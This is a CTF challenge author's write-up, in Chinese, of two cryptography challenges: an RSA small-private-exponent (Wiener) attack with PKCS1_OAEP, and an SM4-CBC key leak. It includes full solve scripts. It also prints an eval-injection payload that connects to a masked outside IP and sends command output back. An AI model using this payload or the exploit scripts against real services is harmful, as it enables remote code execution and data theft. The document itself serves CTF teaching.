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前言
这次西湖论剑有幸出了两个密码题，这边主要从出题的角度分享下如何去出题以及求解的一些思考。
BrokenSystems
出题思路
首先讲下为啥我会出这个题。我一般出题都是基于一个知识点作拓展。
- 契机
在日常接触CTF题中，接触到一些题型的附件给出的并非纯密码学的数值，会有RSA的公私钥文件这种。一般入门级别的解决方案是，使用RSA加解密的在线网站做解析，这个方法emmm，存在的问题比较多，也很不方便。然后常规一些的解决方案是，使用OpenSSL做这个事情，openssl集成了很不错的证书解析、证书格式转换、证书加解密一类的功能，基本上是可以做到解题中的所有事情了。但是，这个时候，毕竟CTF的核心信仰还是使用exp解决一切问题，在求解上更优雅，于是就开始抛弃openssl，使用python的Cypher库去做这些事情。
然后遇到了一个小问题，也成了出这道题目的其中一个小知识点。因为我在RSA私钥的导出过程中，使用常规的参数赋值的方法去初始化失败，然后去寻找的解决。
- how to 拓展
主要还是因为临危受命~~（恰烂钱）~~，领导的任务罢了。那就找个知识点结合下呗，想着RSA要不结合着填充规则来上几个知识点，这倒是少见。填充规则选的最常见的PKCS1_OAEP，然后怼着python的Crypto.Cipher库中的PKCS1_OAEP模块一顿分析。
当时应该是想结合Rabin算法的知识点来出题的，这样就需要自己去理解PKCS1_OAEP填充规则。但是最后自己也没有研究出来（一天时间比较紧）。然后就选了比较方便出题的低解密指数攻击，rsa wiener attack的基础求解。
于是这个题目的名称就来了，备份了一份python的PublicKey库，然后开始怼着RSA模块和它涉及到的相关模块改。令私钥d是在(0，n^0.32)之间的一个质数，满足Boneh and Durfee attack和Wiener’s Attack的条件。这边就算顺利实现一份存在缺陷的加密系统了，定义为黑客入侵修改加密系统达成不安全的信息传输这么一个事件。
然后在后来自己写exp脚本的时候发现，低解密指数攻击是求解私钥d的。但是我们因为填充规则的原因，无法直接去求解明文。于是用到了模数分解的知识点，nice～！
知识点解析
- RSA公私钥解析及生成
生成公钥文件
from Crypto.PublicKey import RSA
rsa = RSA.generate(2048)
public_key = rsa.publickey().exportKey()
f=open("public.key","w")
f.write(public_key.decode())
f.close()
导出RSA私钥文件
from Crypto.PublicKey import RSA
rsa_components=(n,e,d,p,q)
arsa=RSA.construct(rsa_components)
arsa.exportKey()
这边使用RSA的construct函数传入一个元组型的参数即可，顺序为rsa的公钥n、公钥e、私钥d、因子p和q。
rsa公钥解析
from Crypto.PublicKey import RSA
rsakey=RSA.importKey(open("public.key","r").read())
n=rsakey.n
e=rsakey.e
print(n,e)
rsa私钥解析
from Crypto.PublicKey import RSA
rsakey=RSA.importKey(open("pri.key","r").read())
d=rsakey.d
print(d)
这边取什么参数直接从这个rsakey对象里面取就行了。
- 低解密指数攻击
这是CTF中常见的一种攻击了。表现形式就是公钥e很大，本质是私钥d很小。
github上有开源的攻击代码 https://github.com/pablocelayes/rsa-wiener-attack
def rational_to_contfrac (x, y):
'''
Converts a rational x/y fraction into
a list of partial quotients [a0, ..., an]
'''
a = x//y
if a * y == x:
return [a]
else:
pquotients = rational_to_contfrac(y, x - a * y)
pquotients.insert(0, a)
return pquotients
def convergents_from_contfrac(frac):
'''
computes the list of convergents
using the list of partial quotients
'''
convs = [];
for i in range(len(frac)):
convs.append(contfrac_to_rational(frac[0:i]))
return convs
def contfrac_to_rational (frac):
'''Converts a finite continued fraction [a0, ..., an]
to an x/y rational.
'''
if len(frac) == 0:
return (0,1)
elif len(frac) == 1:
return (frac[0], 1)
else:
remainder = frac[1:len(frac)]
(num, denom) = contfrac_to_rational(remainder)
# fraction is now frac[0] + 1/(num/denom), which is
# frac[0] + denom/num.
return (frac[0] * num + denom, num)
def egcd(a,b):
'''
Extended Euclidean Algorithm
returns x, y, gcd(a,b) such that ax + by = gcd(a,b)
'''
u, u1 = 1, 0
v, v1 = 0, 1
while b:
q = a // b
u, u1 = u1, u - q * u1
v, v1 = v1, v - q * v1
a, b = b, a - q * b
return u, v, a
def gcd(a,b):
'''
2.8 times faster than egcd(a,b)[2]
'''
a,b=(b,a) if ab else (a,b)
while b:
a,b=b,a%b
return a
def modInverse(e,n):
'''
d such that de = 1 (mod n)
e must be coprime to n
this is assumed to be true
'''
return egcd(e,n)[0]%n
def totient(p,q):
'''
Calculates the totient of pq
'''
return (p-1)*(q-1)
def bitlength(x):
'''
Calculates the bitlength of x
'''
assert x >= 0
n = 0
while x > 0:
n = n+1
x = x>>1
return n
def isqrt(n):
'''
Calculates the integer square root
for arbitrary large nonnegative integers
'''
if n 0:
raise ValueError('square root not defined for negative numbers')
if n == 0:
return 0
a, b = divmod(bitlength(n), 2)
x = 2**(a+b)
while True:
y = (x + n//x)//2
if y >= x:
return x
x = y
def is_perfect_square(n):
'''
If n is a perfect square it returns sqrt(n),
otherwise returns -1
'''
h = n #last hexadecimal "digit"
if h > 9:
return -1 # return immediately in 6 cases out of 16.
# Take advantage of Boolean short-circuit evaluation
if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ):
# take square root if you must
t = isqrt(n)
if t*t == n:
return t
else:
return -1
return -1
def hack_RSA(e,n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)
for (k,d) in convergents:
#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("\nHacked!")
return d
def main():
n = 9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469
e = 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069
d=hack_RSA(e,n)
print ("d=")
print (d)
if __name__ == '__main__':
main()
- 模数分解
私钥d的获取是通过
d = gmpy2.invert(e, (p-1)*(q-1))
根据私钥d和公钥n、e分解pq
import random
def gcd(a, b):
if a b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def getpq(n,e,d):
p = 1
q = 1
while p==1 and q==1:
k = d * e - 1
g = random.randint ( 0 , n )
while p==1 and q==1 and k % 2 == 0:
k /= 2
y = pow(g,k,n)
if y!=1 and gcd(y-1,n)>1:
p = gcd(y-1,n)
q = n/p
return p,q
- PKCS1_OAEP模式解密
加密
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
flag="flag{test}"
rsakey=RSA.importKey(open("public.key","r").read())
rsa = PKCS1_OAEP.new(rsakey)
msg=rsa.encrypt(flag.encode())
f=open("message","wb")
f.write(msg)
f.close()
解密
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
f=open("message","rb")
rsakey = RSA.importKey(open("pri.key","r").read())
rsakey = PKCS1_OAEP.new(rsakey)
decrypted = rsakey.decrypt(f.read())
print(decrypted)
解题脚本
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import os
import gmpy2
from Crypto.Util.number import *
import random
import sys
def getpq(n,e,d):
p = 1
q = 1
while p==1 and q==1:
k = d * e - 1
g = random.randint ( 0 , n )
while p==1 and q==1 and k % 2 == 0:
k //= 2
y = pow(g,k,n)
if y!=1 and gmpy2.gcd(y-1,n)>1:
p = gmpy2.gcd(y-1,n)
q = n//p
return p,q
#导入公钥，解析n、e
rsakey=RSA.importKey(open("public.key","r").read())
n=rsakey.n
e=rsakey.e
print(n,e)
#使用rsa-wiener-attack得到私钥d
d=hack_RSA(e,n)
print ("d=")
print (d)
#模数分解得到n的两个因子
p,q=getpq(n,e,d)
f=open("message","rb")
#生成并导入私钥
rsa_components=(n,e,int(d),p,q)
arsa=RSA.construct(rsa_components)
rsakey = RSA.importKey(arsa.exportKey())
#PKCS1_OAEP模式解密
rsakey = PKCS1_OAEP.new(rsakey)
decrypted = rsakey.decrypt(f.read())
print(decrypted)
rsa wiener attack这部分前边自取吧。
CTF小白的密码系统
出题思路
这题主要是想着结合下国密算法出个题，因为现在涉及到国密算法的题还是很少。简单看了下sm2的基于ECC的公钥加密、sm3的杂凑、sm4的对称加密。决定不折磨自己，选个对称加密吧。然后使用sm4加个cbc模式就开始了系统交互上的编写。也算是不愧对这个题目了，写了个非预期出来。。。
知识点解析
- pow共识机制
用到交互嘛，来个CTF界惯例，写个pow共识机制。pow本质是区块链的东西Proof of Work，为啥现在密码题很多都有这个呢，这就不得而知了。
反正应该是可以用这个拦住新手玩家了。这个完全可以存一套交互脚本，复用率还是挺高的。
#POW共识机制
def proof_of_work(self):
random.seed(os.urandom(8))
last_proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
last_hash = self.hash(last_proof)
self.request.send((("sha256(XXXX+%s) == %s\n" % (last_proof[4:],last_hash))).encode())
self.request.send('Give me XXXX:'.encode())
xxxx=self.request.recv(10).decode().strip("\n")
if len(xxxx) != 4 or not self.valid_proof(xxxx,last_proof,last_hash):
return False
return True
本质就是去爆破前四位拿到相同的sha256结果。
上个通用的求解
def pass_POW(io):
rec = io.recvline().decode()
table = string.ascii_letters + string.digits
suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
last_hash = re.findall(r'== (.*?)\n', rec)[0]
print("suffix : %s , last_hash : %s"%(suffix,last_hash))
for i in product(table, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if sha256(guess.encode()).hexdigest() == last_hash:
# print(guess)
break
print("predix XXXX is %s"%prefix)
io.sendafter(b'Give me XXXX:', prefix.encode())
return
- sm4的cbc模式加解密
sm4其实和aes或者des这种分组加密类似，这边没有在它的加解密上做改动。只是加了一个cbc模式，就是每一个分组的密钥去异或上前一个分组的加密结果，作为新的一个分组的加密密钥。
def encrypt_cbc(self,Plaintext,Key):
mk=bytes_to_long(Key)
Plaintext_bytes=binascii.hexlify(bytes(Plaintext.encode('utf-8')))
Plaintext_str = str(Plaintext_bytes)[2:-1]
iv=mk
if len(Plaintext_str)%32!=0:
Plaintext_str+=hex((32-len(Plaintext_str)%32)//2)[2:].zfill(2)*((32-len(Plaintext_str)%32)//2)
Ciphertext=''
for i in range(0,len(Plaintext_str),32):
tmp=eval('0x'+Plaintext_str[i:i+32])^iv
res=self.encrypt(long_to_bytes(tmp),mk)
Ciphertext+=self.list_to_hex(res)
iv=eval('0x'+self.list_to_hex(res))
return Ciphertext
正是因为这个eval，当时用的时候觉得eval这个函数"针不错",于是埋下了伏笔。
给个cbc的解密
def decrypt_cbc(self,Ciphertext,Key):
#首先处理一下密文，根据md5加密特性，选择md5处理
mk=bytes_to_long(Key)
if len(Ciphertext)%32 != 0 :
return '这不是一个规范的密文！！！'
iv=mk #初始变量这里等于密匙了，也可以自定义
Plaintext=b''#明文
for i in range(0,len(Ciphertext),32):
tmp=eval('0x'+Ciphertext[i:i+32])
res=eval('0x'+self.list_to_hex(self.decrypt(long_to_bytes(tmp),mk)))^iv
Plaintext+=long_to_bytes(res)
iv=tmp
return Plaintext
- 加密弱点分析
结合给出的附件分析。
def handle(self):
self.key=os.urandom(16)
self.c=""
menu = '''
1. Dragon King
2. encryption
3. decryption
4. getflag
5. exit
首先是这边。这边在交互时，会生成一个16位的key，这个key用于本次交互所有的加解密。
然后看到加密部分
def encryption(self,message):
sm = sm4_encryption(self.key)
sm.__key__expand__()
en_message=sm.encrypt_cbc(message,self.key)
self.c=en_message
return en_message
这边在使用sm4的cbc模式的时候，传入的key和iv都为这个16位的key。
也就是说，如果我们可以泄露这个key。也就可以去求解加密的flag了。
这边题目给附件的时候是只给了加密模块的实现的，所以我们需要先推测出解密的流程。解密流程为sm4解密再异或上iv。根据这个加密我们推测出，如果只有一个分组的情况下，可以通过已知明文去求解key，直接看效果图吧。
于是我们利用这个去泄露key后，求解flag的密文得到明文flag即可。
非预期解
埋下的伏笔终究还是来了。
if choice=="3":
self.request.send("please input iv to decrypt:".encode())
iv=self.recvline(BUFSIZE)
#iv=long_to_bytes(eval('0x'+iv))
iv=long_to_bytes(int(iv,16))
message=self.decryption(iv)
self.request.send("Is this your message?~:".encode()+hex(bytes_to_long(message))[2:].encode())
continue
看到被注释的那一行，是原本的题目。让你用eval。。写着写着都忘了这个是开放出去交互的。。这边在解密那边可以直接通过这个eval getshell。
payload
1 if exec('import socket,subprocess,os;s=s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("**.***.***.**",1234));s.send(__import__("os").popen("id").read().encode())') else 2
能说啥嘞，长太息以掩涕兮。
解题脚本
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import os
import re
from itertools import product
from hashlib import sha256
from pwn import *
import string
from Crypto.Util.number import *
class sm4_decryption:
# 固定参数
CK = [0x00070F15,0x1c232a31,0x383f464d,0x545b6269,
0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,
0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,
0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,
0x10171e25,0x2c333a41,0x484f565d,0x646b7279]
# 常数
FK = [0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc]
# S盒
SboxTable = [
0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,
0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62,
0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6,
0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8,
0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35,
0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87,
0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e,
0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1,
0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3,
0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f,
0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51,
0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8,
0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0,
0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84,
0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48]
# 拓展密钥
K = []
MK = []
# 密钥
key = 0
X = []
Y = []
# 数据流
txtstream = []
# 文件缺失长度
lenth = 0
def __init__(self,key):
self.key = key
pass
#第一步
#密钥生成
#经过拓展，rk0=K4，rk1=K5，以此类推
def __key__expand__(self):
for i in range(0,13,4):
self.MK.append(self.__union__hex__(self.key[i:i+4]))
for i in range(4):
self.K.append(self.MK[i] ^ self.FK[i])
for i in range(32):
a = self.K[i+1] ^ self.K[i+2] ^ self.K[i+3] ^ self.getCK(i)
b = self.__apart__hex__(a)
c = [self.getSbox(i) for i in b]
d = self.__union__hex__(c)
e = d ^ (d 13) ^ (d 23)
self.K.append(self.K[i] ^ e)
#将在4个32位数据合并一个128位数据
def __union__hex__(self,data):
return int((data[0] 24) | (data[1] 16) | (data[2] 8) | (data[3]))
#将一个128位数据拆开位4个32位数据
def __apart__hex__(self,data):
return [int((data >> 24) 2) ^ (d 10) ^ (d 18) ^ (d 24)
self.X.append(self.X[i] ^ e)
# 明文/密文逆序
t = self.X[35]
self.X[35] = self.X[32]
self.X[32] = t
t =self.X[34]
self.X[34] = self.X[33]
self.X[33] = t
# 明文/密文储存
for i in range(32,36):
self.Y.append(self.X[i])
byte=[]
for i in self.Y:
a = self.__apart__hex__(i)
for j in a:
byte.append(j)
return byte
def decrypt_cbc(self,Ciphertext,Key):
mk=bytes_to_long(Key)
if len(Ciphertext)%32 != 0 :
return '这不是一个规范的密文！！！'
iv=mk #初始变量这里等于密匙了，也可以自定义
Plaintext=b''#明文
for i in range(0,len(Ciphertext),32):
tmp=eval('0x'+Ciphertext[i:i+32])
res=eval('0x'+self.list_to_hex(self.decrypt(long_to_bytes(tmp),mk)))^iv
Plaintext+=long_to_bytes(res)
iv=tmp
return Plaintext
def list_to_hex(self,arr):
hex_re=""
for i in arr:
hex_re+=hex(i)[2:].zfill(2)
return hex_re
def pass_POW(io):
rec = io.recvline().decode()
table = string.ascii_letters + string.digits
suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
last_hash = re.findall(r'== (.*?)\n', rec)[0]
print("suffix : %s , last_hash : %s"%(suffix,last_hash))
for i in product(table, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if sha256(guess.encode()).hexdigest() == last_hash:
# print(guess)
break
print("predix XXXX is %s"%prefix)
io.sendafter(b'Give me XXXX:', prefix.encode())
return
def getkey(io):
io.sendafter(b'5. exit\n', "2".encode())
message="flag"*4
#输入加密消息为flagflagflagflag
io.sendafter(b'What message do you want to encrypt:', message.encode())
#去decryption泄露key
io.sendafter(b'5. exit\n', "3".encode())
io.sendafter(b'please input iv to decrypt:', hex(bytes_to_long(message.encode()))[2:])
rec = io.recvline().decode()
key=re.findall(r'\:(.*?)\n', rec)[0]
#check一下获取得到的key是否正确
io.sendafter(b'5. exit\n', "3".encode())
io.sendafter(b'please input iv to decrypt:', key)
rec = io.recvline().decode()
m=re.findall(r'\:(.*?)\n', rec)[0]
print(long_to_bytes(int(m,16)))
return key
def decrypto_flag(io,key):
#获取加密的flag
io.sendafter(b'5. exit\n', "4".encode())
rec = io.recvline().decode()
flag_en=re.findall(r'\:(.*?)\n', rec)[0]
print("flag_en is :%s"%flag_en)
sm = sm4_decryption(key)
sm.__key__expand__()
flag=sm.decrypt_cbc(flag_en,key)
return flag
if __name__ == '__main__':
add = "192.168.153.129"
port = 9999
sh = remote(add,port)
pass_POW(sh)
key_hex=getkey(sh)
print("key_hex is : %s"%(key_hex))
flag=decrypto_flag(sh,long_to_bytes(int(key_hex,16)))
print("flag is : %s"%flag)
sh.interactive()
总结
其实一直在思考，什么样的题才是好题。看着越来越多的paper题，逐渐迷茫了。出题以难为目的导向，用些进阶的知识点好吗，其实真挺好。引导性的去学很多东西。但是对于我这种业余玩家来说，逐渐乏力了。
从CTF竞赛的角度去思考，竞赛的意义在于筛选或者培养更多的网安人才，更多从攻防的角度在提供现实环境的思考。所以web、pwn、re的意义明显是可见的。甚至misc的流量分析和内存取证这一块，都存在其实际价值和意义。但是实际生产环境中对密码学部分的思考，可能并不是大多数人会接触到的。
随着赛事的发展，相关模块涉及知识点的进阶。把控各个模块在一次竞赛中的比重其实是很有意义的，那么如何设置难度系数的逐级上升的题目，以更好满足大部分选手的竞技体验成了我们需要面对的。期待网安领域CTF竞赛更好的明天～！
by 滴滴蓝军实习生 Lemn Chai
参考文章
[安恒网络空间安全学院公众号](《CTF小白的密码系统》解题思路)
